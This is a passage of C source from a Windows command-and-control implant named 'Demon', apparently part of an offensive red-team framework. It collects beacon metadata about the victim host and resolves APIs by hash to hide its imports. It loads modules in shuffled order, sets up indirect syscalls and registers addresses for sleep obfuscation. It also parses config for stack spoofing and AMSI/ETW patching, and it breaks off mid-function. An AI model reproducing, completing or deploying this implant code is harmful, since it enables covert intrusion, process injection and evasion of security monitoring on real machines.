PackageAddWString( *MetaData, ( ( PRTL_USER_PROCESS_PARAMETERS ) Instance->Teb->ProcessEnvironmentBlock->ProcessParameters )->ImagePathName.Buffer );
|
||||
|
||||
PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance->Teb->ClientId.UniqueProcess );
|
||||
PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance->Teb->ClientId.UniqueThread );
|
||||
PackageAddInt32( *MetaData, Instance->Session.PPID );
|
||||
PackageAddInt32( *MetaData, PROCESS_AGENT_ARCH );
|
||||
PackageAddInt32( *MetaData, BeaconIsAdmin( ) );
|
||||
PackageAddInt64( *MetaData, U_PTR( Instance->Session.ModuleBase ) );
|
||||
|
||||
MemSet( &OsVersions, 0, sizeof( OsVersions ) );
|
||||
OsVersions.dwOSVersionInfoSize = sizeof( OsVersions );
|
||||
Instance->Win32.RtlGetVersion( &OsVersions );
|
||||
PackageAddInt32( *MetaData, OsVersions.dwMajorVersion );
|
||||
PackageAddInt32( *MetaData, OsVersions.dwMinorVersion );
|
||||
PackageAddInt32( *MetaData, OsVersions.wProductType );
|
||||
PackageAddInt32( *MetaData, OsVersions.wServicePackMajor );
|
||||
PackageAddInt32( *MetaData, OsVersions.dwBuildNumber );
|
||||
PackageAddInt32( *MetaData, Instance->Session.OS_Arch );
|
||||
|
||||
PackageAddInt32( *MetaData, Instance->Config.Sleeping );
|
||||
PackageAddInt32( *MetaData, Instance->Config.Jitter );
|
||||
PackageAddInt64( *MetaData, Instance->Config.Transport.KillDate );
|
||||
PackageAddInt32( *MetaData, Instance->Config.Transport.WorkingHours );
|
||||
}
|
||||
|
||||
VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs )
|
||||
{
|
||||
OSVERSIONINFOEXW OSVersionExW = { 0 };
|
||||
PVOID RtModules[] = {
|
||||
RtAdvapi32,
|
||||
//RtMscoree,
|
||||
RtOleaut32,
|
||||
RtUser32,
|
||||
RtShell32,
|
||||
RtMsvcrt,
|
||||
RtIphlpapi,
|
||||
RtGdi32,
|
||||
RtNetApi32,
|
||||
RtWs2_32,
|
||||
RtSspicli,
|
||||
#ifdef TRANSPORT_HTTP
|
||||
RtWinHttp,
|
||||
#endif
|
||||
};
|
||||
|
||||
Instance->Teb = NtCurrentTeb();
|
||||
|
||||
#ifdef TRANSPORT_HTTP
|
||||
PUTS( "TRANSPORT_HTTP" )
|
||||
#endif
|
||||
|
||||
#ifdef TRANSPORT_SMB
|
||||
PUTS( "TRANSPORT_SMB" )
|
||||
#endif
|
||||
|
||||
|
||||
/* resolve ntdll.dll functions */
|
||||
if ( ( Instance->Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) {
|
||||
/* Module/Address function loading */
|
||||
Instance->Win32.LdrGetProcedureAddress = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_LDRGETPROCEDUREADDRESS );
|
||||
Instance->Win32.LdrLoadDll = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_LDRLOADDLL );
|
||||
|
||||
/* Rtl functions */
|
||||
Instance->Win32.RtlAllocateHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLALLOCATEHEAP );
|
||||
Instance->Win32.RtlReAllocateHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREALLOCATEHEAP );
|
||||
Instance->Win32.RtlFreeHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLFREEHEAP );
|
||||
Instance->Win32.RtlExitUserThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLEXITUSERTHREAD );
|
||||
Instance->Win32.RtlExitUserProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLEXITUSERPROCESS );
|
||||
Instance->Win32.RtlRandomEx = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLRANDOMEX );
|
||||
Instance->Win32.RtlNtStatusToDosError = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLNTSTATUSTODOSERROR );
|
||||
Instance->Win32.RtlGetVersion = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLGETVERSION );
|
||||
Instance->Win32.RtlCreateTimerQueue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCREATETIMERQUEUE );
|
||||
Instance->Win32.RtlCreateTimer = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCREATETIMER );
|
||||
Instance->Win32.RtlQueueWorkItem = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLQUEUEWORKITEM );
|
||||
Instance->Win32.RtlRegisterWait = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREGISTERWAIT );
|
||||
Instance->Win32.RtlDeleteTimerQueue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLDELETETIMERQUEUE );
|
||||
Instance->Win32.RtlCaptureContext = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCAPTURECONTEXT );
|
||||
Instance->Win32.RtlAddVectoredExceptionHandler = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER );
|
||||
Instance->Win32.RtlRemoveVectoredExceptionHandler = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER );
|
||||
Instance->Win32.RtlCopyMappedMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCOPYMAPPEDMEMORY );
|
||||
|
||||
/* Native functions */
|
||||
Instance->Win32.NtClose = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCLOSE );
|
||||
Instance->Win32.NtCreateEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATEEVENT );
|
||||
Instance->Win32.NtSetEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETEVENT );
|
||||
Instance->Win32.NtSetInformationThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETINFORMATIONTHREAD );
|
||||
Instance->Win32.NtSetInformationVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETINFORMATIONVIRTUALMEMORY );
|
||||
Instance->Win32.NtGetNextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTGETNEXTTHREAD );
|
||||
Instance->Win32.NtOpenProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENPROCESS );
|
||||
Instance->Win32.NtTerminateProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTERMINATEPROCESS );
|
||||
Instance->Win32.NtQueryInformationProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONPROCESS );
|
||||
Instance->Win32.NtQuerySystemInformation = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYSYSTEMINFORMATION );
|
||||
Instance->Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTALLOCATEVIRTUALMEMORY );
|
||||
Instance->Win32.NtQueueApcThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUEUEAPCTHREAD );
|
||||
Instance->Win32.NtOpenThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENTHREAD );
|
||||
Instance->Win32.NtOpenThreadToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENTHREADTOKEN );
|
||||
Instance->Win32.NtResumeThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTRESUMETHREAD );
|
||||
Instance->Win32.NtSuspendThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSUSPENDTHREAD );
|
||||
Instance->Win32.NtCreateEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATEEVENT );
|
||||
Instance->Win32.NtDuplicateObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTDUPLICATEOBJECT );
|
||||
Instance->Win32.NtGetContextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTGETCONTEXTTHREAD );
|
||||
Instance->Win32.NtSetContextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETCONTEXTTHREAD );
|
||||
Instance->Win32.NtWaitForSingleObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTWAITFORSINGLEOBJECT );
|
||||
Instance->Win32.NtAlertResumeThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTALERTRESUMETHREAD );
|
||||
Instance->Win32.NtSignalAndWaitForSingleObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT );
|
||||
Instance->Win32.NtTestAlert = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTESTALERT );
|
||||
Instance->Win32.NtCreateThreadEx = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATETHREADEX );
|
||||
Instance->Win32.NtOpenProcessToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENPROCESSTOKEN );
|
||||
Instance->Win32.NtDuplicateToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTDUPLICATETOKEN );
|
||||
Instance->Win32.NtProtectVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTPROTECTVIRTUALMEMORY );
|
||||
Instance->Win32.NtTerminateThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTERMINATETHREAD );
|
||||
Instance->Win32.NtWriteVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTWRITEVIRTUALMEMORY );
|
||||
Instance->Win32.NtContinue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCONTINUE );
|
||||
Instance->Win32.NtReadVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTREADVIRTUALMEMORY );
|
||||
Instance->Win32.NtFreeVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTFREEVIRTUALMEMORY );
|
||||
Instance->Win32.NtUnmapViewOfSection = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTUNMAPVIEWOFSECTION );
|
||||
Instance->Win32.NtQueryVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYVIRTUALMEMORY );
|
||||
Instance->Win32.NtQueryInformationToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTOKEN );
|
||||
Instance->Win32.NtQueryInformationThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTHREAD );
|
||||
Instance->Win32.NtQueryObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYOBJECT );
|
||||
Instance->Win32.NtTraceEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTRACEEVENT );
|
||||
} else {
|
||||
PUTS( "Failed to load ntdll from PEB" )
|
||||
return;
|
||||
}
|
||||
|
||||
/* resolve Windows version */
|
||||
Instance->Session.OSVersion = WIN_VERSION_UNKNOWN;
|
||||
OSVersionExW.dwOSVersionInfoSize = sizeof( OSVersionExW );
|
||||
if ( NT_SUCCESS( Instance->Win32.RtlGetVersion( &OSVersionExW ) ) ) {
|
||||
if ( OSVersionExW.dwMajorVersion >= 5 ) {
|
||||
if ( OSVersionExW.dwMajorVersion == 5 ) {
|
||||
if ( OSVersionExW.dwMinorVersion == 1 ) {
|
||||
Instance->Session.OSVersion = WIN_VERSION_XP;
|
||||
}
|
||||
} else if ( OSVersionExW.dwMajorVersion == 6 ) {
|
||||
if ( OSVersionExW.dwMinorVersion == 0 ) {
|
||||
Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_VISTA : WIN_VERSION_2008;
|
||||
} else if ( OSVersionExW.dwMinorVersion == 1 ) {
|
||||
Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_7 : WIN_VERSION_2008_R2;
|
||||
} else if ( OSVersionExW.dwMinorVersion == 2 ) {
|
||||
Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8 : WIN_VERSION_2012;
|
||||
} else if ( OSVersionExW.dwMinorVersion == 3 ) {
|
||||
Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8_1 : WIN_VERSION_2012_R2;
|
||||
}
|
||||
} else if ( OSVersionExW.dwMajorVersion == 10 ) {
|
||||
if ( OSVersionExW.dwMinorVersion == 0 ) {
|
||||
Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_10 : WIN_VERSION_2016_X;
|
||||
}
|
||||
}
|
||||
}
|
||||
} PRINTF( "OSVersion: %d\n", Instance->Session.OSVersion );
|
||||
|
||||
/* load kernel32.dll functions */
|
||||
if ( ( Instance->Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) {
|
||||
Instance->Win32.LoadLibraryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOADLIBRARYW );
|
||||
Instance->Win32.VirtualProtectEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALPROTECTEX );
|
||||
Instance->Win32.VirtualProtect = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALPROTECT );
|
||||
Instance->Win32.LocalAlloc = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALALLOC );
|
||||
Instance->Win32.LocalReAlloc = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALREALLOC );
|
||||
Instance->Win32.LocalFree = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALFREE );
|
||||
Instance->Win32.CreateRemoteThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEREMOTETHREAD );
|
||||
Instance->Win32.CreateToolhelp32Snapshot = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATETOOLHELP32SNAPSHOT );
|
||||
Instance->Win32.Process32FirstW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PROCESS32FIRSTW );
|
||||
Instance->Win32.Process32NextW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PROCESS32NEXTW );
|
||||
Instance->Win32.CreatePipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEPIPE );
|
||||
Instance->Win32.CreateProcessW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEPROCESSW );
|
||||
Instance->Win32.GetFullPathNameW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFULLPATHNAMEW );
|
||||
Instance->Win32.CreateFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEFILEW );
|
||||
Instance->Win32.GetFileSize = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILESIZE );
|
||||
Instance->Win32.GetFileSizeEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILESIZEEX );
|
||||
Instance->Win32.CreateNamedPipeW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATENAMEDPIPEW );
|
||||
Instance->Win32.ConvertFiberToThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONVERTFIBERTOTHREAD );
|
||||
Instance->Win32.CreateFiberEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEFIBEREX );
|
||||
Instance->Win32.ReadFile = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_READFILE );
|
||||
Instance->Win32.VirtualAllocEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALALLOCEX );
|
||||
Instance->Win32.WaitForSingleObjectEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WAITFORSINGLEOBJECTEX );
|
||||
Instance->Win32.GetComputerNameExA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCOMPUTERNAMEEXA );
|
||||
Instance->Win32.GetExitCodeProcess = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETEXITCODEPROCESS );
|
||||
Instance->Win32.GetExitCodeThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETEXITCODETHREAD );
|
||||
Instance->Win32.TerminateProcess = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_TERMINATEPROCESS );
|
||||
Instance->Win32.ConvertThreadToFiberEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONVERTTHREADTOFIBEREX );
|
||||
Instance->Win32.SwitchToFiber = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SWITCHTOFIBER );
|
||||
Instance->Win32.DeleteFiber = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DELETEFIBER );
|
||||
Instance->Win32.AllocConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_ALLOCCONSOLE );
|
||||
Instance->Win32.FreeConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FREECONSOLE );
|
||||
Instance->Win32.GetConsoleWindow = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCONSOLEWINDOW );
|
||||
Instance->Win32.GetStdHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETSTDHANDLE );
|
||||
Instance->Win32.SetStdHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SETSTDHANDLE );
|
||||
Instance->Win32.WaitNamedPipeW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WAITNAMEDPIPEW );
|
||||
Instance->Win32.PeekNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PEEKNAMEDPIPE );
|
||||
Instance->Win32.DisconnectNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DISCONNECTNAMEDPIPE );
|
||||
Instance->Win32.WriteFile = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WRITEFILE );
|
||||
Instance->Win32.ConnectNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONNECTNAMEDPIPE );
|
||||
Instance->Win32.FreeLibrary = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FREELIBRARY );
|
||||
Instance->Win32.GetCurrentDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCURRENTDIRECTORYW );
|
||||
Instance->Win32.GetFileAttributesW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILEATTRIBUTESW );
|
||||
Instance->Win32.FindFirstFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDFIRSTFILEW );
|
||||
Instance->Win32.FindNextFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDNEXTFILEW );
|
||||
Instance->Win32.FindClose = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDCLOSE );
|
||||
Instance->Win32.FileTimeToSystemTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FILETIMETOSYSTEMTIME );
|
||||
Instance->Win32.SystemTimeToTzSpecificLocalTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME );
|
||||
Instance->Win32.RemoveDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_REMOVEDIRECTORYW );
|
||||
Instance->Win32.DeleteFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DELETEFILEW );
|
||||
Instance->Win32.CreateDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEDIRECTORYW );
|
||||
Instance->Win32.CopyFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_COPYFILEW );
|
||||
Instance->Win32.MoveFileExW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_MOVEFILEEXW );
|
||||
Instance->Win32.SetCurrentDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SETCURRENTDIRECTORYW );
|
||||
Instance->Win32.Wow64DisableWow64FsRedirection = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WOW64DISABLEWOW64FSREDIRECTION );
|
||||
Instance->Win32.Wow64RevertWow64FsRedirection = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WOW64REVERTWOW64FSREDIRECTION );
|
||||
Instance->Win32.GetModuleHandleA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETMODULEHANDLEA );
|
||||
Instance->Win32.GetSystemTimeAsFileTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETSYSTEMTIMEASFILETIME );
|
||||
Instance->Win32.GetLocalTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETLOCALTIME );
|
||||
Instance->Win32.DuplicateHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DUPLICATEHANDLE );
|
||||
Instance->Win32.AttachConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_ATTACHCONSOLE );
|
||||
Instance->Win32.WriteConsoleA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WRITECONSOLEA );
|
||||
Instance->Win32.GlobalFree = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GLOBALFREE );
|
||||
}
|
||||
|
||||
/* now that we loaded some of the basic apis lets parse the config and see how we load the rest */
|
||||
/* Parse config */
|
||||
DemonConfig();
|
||||
|
||||
/* now do post init stuff after parsing the config */
|
||||
if ( Instance->Config.Implant.SysIndirect )
|
||||
{
|
||||
/* Initialize indirect syscalls + get SSN from every single syscall we need */
|
||||
if ( ! SysInitialize( Instance->Modules.Ntdll ) ) {
|
||||
PUTS( "Failed to Initialize syscalls" )
|
||||
/* NOTE: the agent is going to keep going for now. */
|
||||
}
|
||||
}
|
||||
|
||||
/* shuffle array */
|
||||
ShuffleArray( RtModules, SIZEOF_ARRAY( RtModules ) );
|
||||
|
||||
/* load all modules */
|
||||
for ( int i = 0; i < SIZEOF_ARRAY( RtModules ); i++ )
|
||||
{
|
||||
/* load module */
|
||||
if ( ! ( ( BOOL (*)() ) RtModules[ i ] ) () ) {
|
||||
PUTS( "Failed to load a module" )
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if ( KArgs )
|
||||
{
|
||||
#if SHELLCODE
|
||||
Instance->Session.ModuleBase = KArgs->Demon;
|
||||
Instance->Session.ModuleSize = KArgs->DemonSize;
|
||||
Instance->Session.TxtBase = KArgs->TxtBase;
|
||||
Instance->Session.TxtSize = KArgs->TxtSize;
|
||||
FreeReflectiveLoader( KArgs->KaynLdr );
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
Instance->Session.ModuleBase = ModuleInst;
|
||||
|
||||
/* if ModuleBase has not been specified then lets use the current process one */
|
||||
if ( ! Instance->Session.ModuleBase ) {
|
||||
/* if we specified nothing as our ModuleBase then this either means that we are an exe or we should use the whole process */
|
||||
Instance->Session.ModuleBase = LdrModulePeb( 0 );
|
||||
}
|
||||
|
||||
if ( Instance->Session.ModuleBase ) {
|
||||
Instance->Session.ModuleSize = IMAGE_SIZE( Instance->Session.ModuleBase );
|
||||
}
|
||||
}
|
||||
|
||||
#if _WIN64
|
||||
Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64;
|
||||
Instance->Session.Process_Arch = PROCESSOR_ARCHITECTURE_AMD64;
|
||||
#else
|
||||
Instance->Session.Process_Arch = PROCESSOR_ARCHITECTURE_INTEL;
|
||||
Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_UNKNOWN;
|
||||
if ( ProcessIsWow( NtCurrentProcess() ) ) {
|
||||
Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64;
|
||||
} else {
|
||||
Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_INTEL;
|
||||
}
|
||||
#endif
|
||||
|
||||
Instance->Session.PID = U_PTR( Instance->Teb->ClientId.UniqueProcess );
|
||||
Instance->Session.TID = U_PTR( Instance->Teb->ClientId.UniqueThread );
|
||||
Instance->Session.Connected = FALSE;
|
||||
Instance->Session.AgentID = RandomNumber32();
|
||||
Instance->Config.AES.Key = NULL; /* TODO: generate keys here */
|
||||
Instance->Config.AES.IV = NULL;
|
||||
|
||||
/* Linked lists */
|
||||
Instance->Tokens.Vault = NULL;
|
||||
Instance->Tokens.Impersonate = FALSE;
|
||||
Instance->Jobs = NULL;
|
||||
Instance->Downloads = NULL;
|
||||
Instance->Sockets = NULL;
|
||||
Instance->HwBpEngine = NULL;
|
||||
Instance->Packages = NULL;
|
||||
|
||||
/* Global Objects */
|
||||
Instance->Dotnet = NULL;
|
||||
|
||||
/* if cfg is enforced (and if sleep obf is enabled)
|
||||
* add every address we're going to use to the Cfg address list
|
||||
* to not raise an exception while performing sleep obfuscation */
|
||||
if ( CfgQueryEnforced() )
|
||||
{
|
||||
PUTS( "Adding required function module &addresses to the cfg list" );
|
||||
|
||||
/* common functions */
|
||||
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtContinue );
|
||||
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtSetContextThread );
|
||||
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtGetContextThread );
|
||||
CfgAddressAdd( Instance->Modules.Advapi32, Instance->Win32.SystemFunction032 );
|
||||
|
||||
/* ekko sleep obf */
|
||||
CfgAddressAdd( Instance->Modules.Kernel32, Instance->Win32.WaitForSingleObjectEx );
|
||||
CfgAddressAdd( Instance->Modules.Kernel32, Instance->Win32.VirtualProtect );
|
||||
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtSetEvent );
|
||||
|
||||
/* foliage sleep obf */
|
||||
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtTestAlert );
|
||||
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtWaitForSingleObject );
|
||||
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtProtectVirtualMemory );
|
||||
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.RtlExitUserThread );
|
||||
}
|
||||
|
||||
PRINTF( "Instance DemonID => %x\n", Instance->Session.AgentID )
|
||||
}
|
||||
|
||||
VOID DemonConfig()
|
||||
{
|
||||
PARSER Parser = { 0 };
|
||||
PVOID Buffer = NULL;
|
||||
ULONG Temp = 0;
|
||||
UINT32 Length = 0;
|
||||
DWORD J = 0;
|
||||
|
||||
PRINTF( "Config Size: %d\n", sizeof( AgentConfig ) )
|
||||
|
||||
ParserNew( &Parser, AgentConfig, sizeof( AgentConfig ) );
|
||||
RtlSecureZeroMemory( AgentConfig, sizeof( AgentConfig ) );
|
||||
|
||||
Instance->Config.Sleeping = ParserGetInt32( &Parser );
|
||||
Instance->Config.Jitter = ParserGetInt32( &Parser );
|
||||
PRINTF( "Sleep: %d (%d%%)\n", Instance->Config.Sleeping, Instance->Config.Jitter )
|
||||
|
||||
Instance->Config.Memory.Alloc = ParserGetInt32( &Parser );
|
||||
Instance->Config.Memory.Execute = ParserGetInt32( &Parser );
|
||||
|
||||
PRINTF(
|
||||
"[CONFIG] Memory: \n"
|
||||
" - Allocate: %d \n"
|
||||
" - Execute : %d \n",
|
||||
Instance->Config.Memory.Alloc,
|
||||
Instance->Config.Memory.Execute
|
||||
)
|
||||
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance->Config.Process.Spawn64 = Instance->Win32.LocalAlloc( LPTR, Length );
|
||||
MemCopy( Instance->Config.Process.Spawn64, Buffer, Length );
|
||||
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance->Config.Process.Spawn86 = Instance->Win32.LocalAlloc( LPTR, Length );
|
||||
MemCopy( Instance->Config.Process.Spawn86, Buffer, Length );
|
||||
|
||||
PRINTF(
|
||||
"[CONFIG] Spawn: \n"
|
||||
" - [x64] => %ls \n"
|
||||
" - [x86] => %ls \n",
|
||||
Instance->Config.Process.Spawn64,
|
||||
Instance->Config.Process.Spawn86
|
||||
)
|
||||
|
||||
Instance->Config.Implant.SleepMaskTechnique = ParserGetInt32( &Parser );
|
||||
Instance->Config.Implant.SleepJmpBypass = ParserGetInt32( &Parser );
|
||||
Instance->Config.Implant.StackSpoof = ParserGetInt32( &Parser );
|
||||
Instance->Config.Implant.ProxyLoading = ParserGetInt32( &Parser );
|
||||
Instance->Config.Implant.SysIndirect = ParserGetInt32( &Parser );
|
||||
Instance->Config.Implant.AmsiEtwPatch = ParserGetInt32( &Parser );
|
||||
#ifdef TRANSPORT_HTTP
|
||||
Instance->Config.Implant.DownloadChunkSize = 0x80000; /* 512k */
|
||||
#else
|
||||
Instance->Config.Implant.DownloadChunkSize = 0xfc00; /* 63k, needs to be less than PIPE_BUFFER_MAX */
|
||||
#endif
|
||||
|
||||
PRINTF(
|
||||
"[CONFIG] Sleep Obfuscation: \n"
|
||||
" - Technique: %d \n"
|
||||
" - Stack Dup: %s \n"
|
||||
"[CONFIG] ProxyLoading: %d\n"
|
||||
"[CONFIG] SysIndirect : %s\n"
|
||||
"[CONFIG] AmsiEtwPatch: %d\n",
|
||||
Instance->Config.Implant.SleepMaskTechnique,
|
||||
Instance->Config.Implant.StackSpoof ? "TRUE" : "FALSE",
|
||||
